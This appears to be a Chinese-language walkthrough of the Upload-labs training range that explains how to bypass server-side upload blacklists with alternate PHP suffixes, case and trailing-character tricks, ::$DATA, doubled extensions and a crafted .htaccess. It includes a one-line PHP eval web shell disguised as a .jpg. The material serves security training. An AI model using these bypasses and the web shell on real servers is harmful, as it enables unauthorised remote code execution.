服务端黑名单绕过
特殊可解析后缀
Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名黑名单,识别上传文件的类型是 否为 '.asp','.aspx','.php','.jsp' 中的一个,若是其中的一个,则不允许上传。 但是可以上传其他任意后缀。比如说:. phtml .phps .php5 .pht ,但如果上传的是.php5这种类型文 件,想要被当成php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码(靶场环境 未配置好,仅做上传测试)。
![](https://img-blog.csdnimg.cn/img_convert/f6008aea64f1ca51fb8dc828712bbb5c.png)
所以由于服务端采用黑名单的过滤方式,这里可以使用php3或者php5后缀上传,直接通过burp修改后缀名
![](https://img-blog.csdnimg.cn/img_convert/ccb1101cd33402c8a06a5f308063c2d4.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/841ab2ceb432218d36b7088df52eef88.png)
(此靶机环境测试未解析,仅作上传测试即可)
大小写绕过(√)
Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了黑名单对常见的后缀进行过滤,但并未对 后缀名大小写进行统一。可以利用大小写进行绕过。例如:.PHp
![](https://img-blog.csdnimg.cn/img_convert/fdf722fc223a737b3489ca36b42a12d1.png)
burp改包
![](https://img-blog.csdnimg.cn/img_convert/022aa192ba8219c49fba5296f27dd973.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/c62a1bb3edd8cee6d2664a5a61dfdc0f.png)
![](https://img-blog.csdnimg.cn/img_convert/e9ddf9a94db9507104732f2d66b58911.png)
点绕过(√)
Upload-labs(Pass-08)分析代码没有去除点,直接在文件后面加上点
![](https://img-blog.csdnimg.cn/img_convert/7b8d17f7a301d119a055c27bf2f61793.png)
burp抓包并修改
![](https://img-blog.csdnimg.cn/img_convert/aa2ef4585341e570b2b7849e96744e35.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/805984952c034148099bcae664527d4c.png)
在Windows系统中会自动去除文件名最后的 . ,因此在Windows系统中可以使用此方法绕过。
空格绕过
Upload-labs(Pass-07)通过代码分析没有去空格,在文件后缀加空格后上传
![](https://img-blog.csdnimg.cn/img_convert/0471ab08804e1451062c41d77ab2b940.png)
burp抓包修改
![](https://img-blog.csdnimg.cn/img_convert/c904da29425671e49c14165b897098ff.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/dfd1eaf8bb87d31cda9ff0110032844a.png)
在Windows系统中会自动去除文件名最后的空格,因此在Windows系统中可以使用此方法绕过。
配合解析绕过(√)
Upload-labs(Pass-05)
![](https://img-blog.csdnimg.cn/img_convert/fecb05b943018e4ba810a121167c4151.png)
这一关的思路是它没有循环验证,也就是说这些首尾去空,删除末尾的点,去除字符串:$SDATA,转换 为小写这些东西只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为.php. .(两个点之 间有个空格) 验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还 有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。
htaccess文件绕过(√)
在利用.htaccess文件之前,我们先来了解一下什么是.htaccess规则文件。 .htaccess文件(或者"分布式配置文件")全称是Hypertext Access(超文本入口)。 提供了针对目录改变配置的方法, 即 在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可 以帮我们实现: 网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列 表、配置默认文档等功能。上传.htaccess文件,来绕过黑名单。 前提条件 1.mod_rewrite模块开启。 2.AllowOverride All
Upload-labs(Pass-04)源码分析,这个比03增加了黑名单量。但是,中间件为Apache的情况下,黑 名单未校验htaccess文件,导致可上传htaccess文件,绕过黑名单检测。
![](https://img-blog.csdnimg.cn/img_convert/c4a2d3f3b6dcc70b174d22d265c06d62.png)
由于.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个 .htaccess,文件内容如下,意思 是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规 范,就会被当作PHP执行。不符合则报错。
我们需要先准备好两个文件( .htaccess 和 post.jpg)
<!-- .htaccess文件 -->
<FilesMatch "magedu.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//magedu.jpg
<?php @eval($_POST["magedu"]); ?>
注意: .htaccess文件不能起名字,他就是.htaccess文件,如果你将他改为4.htaccess或者其他的什 么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。
接下来就是先将 .htaccess 文件上传,从而覆盖父目录对上传目录的影响,然后再上传 mgedu.jpg 文 件,从而完成 .htaccess 文件上传解析漏洞的利用。
上传.htaccess
![](https://img-blog.csdnimg.cn/img_convert/3d258617034d05611db202c4c9350178.png)
再上传post.jpg
![](https://img-blog.csdnimg.cn/img_convert/d7b2cb7da899bf3f205b740b75a3f25c.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/22953989b415216f4f9ac46bbfc6fb8e.png)
::$DATA绕过
在Windows中,如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且 保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:
phpinfo.php::$DATA
Windows会自动去掉末尾的::$DATA变成 phpinfo.php
Upload-labs(Pass-09)抓包修改文件后缀
![](https://img-blog.csdnimg.cn/img_convert/31b0a5f35cbe2e23cae63b58fa72c420.png)
可以看到,上传成功。但是Linux服务器未去掉后缀,所以解析不了。
![](https://img-blog.csdnimg.cn/img_convert/446fb9406bff342d99559f07de130c81.png)
8.双写后缀名绕过(√)
Upload-labs(Pass-11)从源码中可以发现,源码中定义了黑名单列表,我们上传文件的后缀名凡是符 合黑名单中任意一个后缀都会被替换为空,那么我们可以利用双写后缀的方式进行绕过。例如: phpinfo.pphphp 替换后变成 phpinfo.php
![](https://img-blog.csdnimg.cn/img_convert/4fa1792ee95224d196c8beed1f7286eb.png)
抓包修改
![](https://img-blog.csdnimg.cn/img_convert/74761e5a4776e9fe7fa336dbbad4a6b6.png)
上传成功
![](https://img-blog.csdnimg.cn/img_convert/843e49a91dfd390a964cdbe2210e385e.png)